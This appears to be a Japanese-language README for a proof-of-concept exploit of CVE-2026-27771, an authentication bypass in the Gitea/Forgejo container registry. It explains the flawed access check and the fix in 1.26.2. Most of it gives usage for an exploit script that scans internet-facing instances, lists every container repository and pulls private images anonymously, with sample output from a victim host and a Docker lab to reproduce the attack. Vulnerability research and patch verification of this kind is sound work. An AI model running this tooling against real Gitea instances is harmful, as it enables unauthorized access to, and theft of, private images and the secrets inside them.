
CVE-2026-27771 - Gitea/Forgejo Container Registry Auth Bypass Exploit PoC - 認証なしでプライベートコンテナイメージをプルする
CVSS: N/A (未公開)
影響を受けるバージョン: Gitea < 1.26.2 (OCI コンテナレジストリのあるすべてのバージョン)
同様に影響を受ける: Forgejo (NoScope 確認済)
発見者: NoScope
修正バージョン: Gitea v1.26.2 (2026年5月20日)
免責事項: この概念実証は教育目的および許可されたセキュリティ研究目的でのみ提供されます。コンピュータシステムへの不正アクセスは違法です。著者は本コードの誤用について一切の責任を負いません。所有しているシステムまたはテストする明示的な許可があるシステムでのみテストしてください。
認証されていないリモートの攻撃者は、Gitea インスタンスから プライベート コンテナイメージをプルできます。OCI ディストリビューション仕様の API エンドポイント (/v2/<name>/manifests/<ref>, /v2/<name>/blobs/<digest>) は、コンテナパッケージ所有者の可視性(プライベート/限定/パブリック)をチェックせずに、ゴースト/匿名ユーザー (UserID: -1) にコンテンツを提供します。
NoScope は 30 か国以上で約 31,750 以上のインターネット公開インスタンスを特定しました。この欠陥は約 4 年間検出されませんでした。
脆弱性は ReqContainerAccess ミドルウェア (routers/api/packages/container/container.go) にあります:
// v1.25.4 — 脆弱
func ReqContainerAccess(ctx *context.Context) {
if ctx.Doer == nil || (setting.Service.RequireSignInViewStrict && ctx.Doer.IsGhost()) {
apiUnauthorizedError(ctx)
}
}
これは次のみチェックします:
ctx.Doer が nil か?(認証情報のない未認証のリクエスト)RequireSignInViewStrict が有効で、かつユーザーがゴーストか?チェックしていないこと: パッケージ所有者の可視性設定 (VisibleTypePublic, VisibleTypeLimited, VisibleTypePrivate)。ゴーストユーザー (UserID: -1) はスコープが空のままで直接通過し、任意のコンテナパッケージにアクセスできます。
/v2/token エンドポイント (Authenticate 関数) は、RequireSignInViewStrict が false の場合、認証情報なしで匿名トークンを付与します。
1.26.2 で 2 つの修正が行われました:
PR #37290 — apiUnauthorizedError での条件付き Basic realm ヘッダー — パブリックインスタンスでは Basic realm を送信しないようにして Docker クライアントの混乱を防ぎ、認証チャレンジで所有者ごとの可視性チェックを追加。
PR #37610 — パッケージ可視性ラベル + Composer ソースパーミッションチェック — パッケージの基盤となるパーミッションモデルを追加。これらのラベルがないと、パーミッションチェックパスでプライベート/内部/パブリックパッケージを区別する方法がありませんでした。
[service]
REQUIRE_SIGNIN_VIEW = true
これにより すべての 匿名アクセス(公開リポジトリを含む)がブロックされ、エクスプロイトの経路が閉じられます。ただし、基盤となるパーミッションモデルは依然として壊れています。認証されたユーザーはすべてのパッケージにアクセスできます。本当の修正には 1.26.2+ にアップグレードしてください。
python3 CVE-2026-27771-exploit.py scan <url> # リポジトリ/タグを発見
python3 CVE-2026-27771-exploit.py scan <url> --token <sha1> --username <user>
python3 CVE-2026-27771-exploit.py pull <url> # すべてのイメージをプル
python3 CVE-2026-27771-exploit.py pull <url> --repo owner/image # 特定のリポジトリをプル
python3 CVE-2026-27771-exploit.py pull <url> --dry-run # プルされる内容を表示
python3 CVE-2026-27771-exploit.py pull <url> --token <sha1> --username <user>
python3 CVE-2026-27771-exploit.py register <url> --username u --password p --email [email protected]
# 脆弱なインスタンスをスキャン
python3 CVE-2026-27771-exploit.py scan https://gitea.example.com
# すべてのプライベートコンテナイメージをプル(匿名)
python3 CVE-2026-27771-exploit.py pull https://gitea.example.com
# パーソナルアクセストークンを使用してプル(REQUIRE_SIGNIN_VIEW インスタンス用)
python3 CVE-2026-27771-exploit.py pull https://gitea.example.com \
--token 3afb22d5cf0295b5af686dcbbc765600d6dc5dfd --username myuser
# キャプチャなしのインスタンスに自動登録
python3 CVE-2026-27771-exploit.py register https://gitea.example.com \
--username myuser --password mypass --email [email protected]
/v2/ エンドポイントを確認し、登録の有無を検出し、匿名トークンを取得するか PAT を JWT に交換します。/v2/_catalog 経由ですべてのコンテナリポジトリをリストアップします(可視性が壊れているため、公開とプライベートのすべてのリポジトリが返されます)。pulled_<repo>/extracted/ に自動的に展開します。REQUIRE_SIGNIN_VIEW=false の場合、認証情報なしでゴーストトークンを取得します。--token が 40 文字の16進文字列の場合、Basic auth 経由で OCI JWT に自動交換します。--token にドットが含まれている場合、それを Bearer トークンとして直接使用します。[*] Pre-flight: https://victim.gitea.com
[+] Version (API): 1.25.4
[+] /v2/ -> 401
[+] Anonymous token granted (UserID: -1, Scope: '')
[+] /v2/_catalog -> 200 (3 repos)
[+] Vulnerable: True (require_signin=False)
[*] Container repositories: 3
acme/production-app: tags=['latest', 'v2.1.0']
acme/internal-db: tags=['latest', 'v1.3.0']
team-xyz/secret-ml-model: tags=['v0.9.2']
[acme/production-app]
Tags: ['latest']
└─ manifest latest: multi-arch, digest=sha256:a1b2c3..., 12 blobs
[1/12] sha256_a1b2c3... (28.4 MB)
...
manifests saved
extracted 39862 files to pulled_acme_production-app/extracted
# 1. Docker で Gitea 1.25.x をデプロイ(脆弱なバージョン)
docker run -d --name gitea-vuln -p 3000:3000 \
-e GITEA__service__REQUIRE_SIGNIN_VIEW=false \
gitea/gitea:1.25.4
# 2. ユーザーを作成し、プライベート Docker イメージをプッシュ
docker login localhost:3000 -u testuser -p testpass
docker pull alpine:latest
docker tag alpine:latest localhost:3000/testuser/secret-app:latest
docker push localhost:3000/testuser/secret-app:latest
# 3. エクスプロイトを実行(認証情報なし)
python3 CVE-2026-27771-exploit.py pull http://localhost:3000
# エクスプロイトは testuser/secret-app を見つけ、すべてのレイヤーをダウンロードします。
# ファイルは pulled_testuser_secret-app/extracted/ に配置されます。
# パッチ済みバージョンにアップグレード
docker stop gitea-vuln
docker run -d --name gitea-fixed -p 3000:3000 \
gitea/gitea:1.26.2
# 匿名トークンは拒否されるはずです (401)
python3 CVE-2026-27771-exploit.py scan http://localhost:3000
# 期待される結果: "Version >= 1.26.2 (patched)"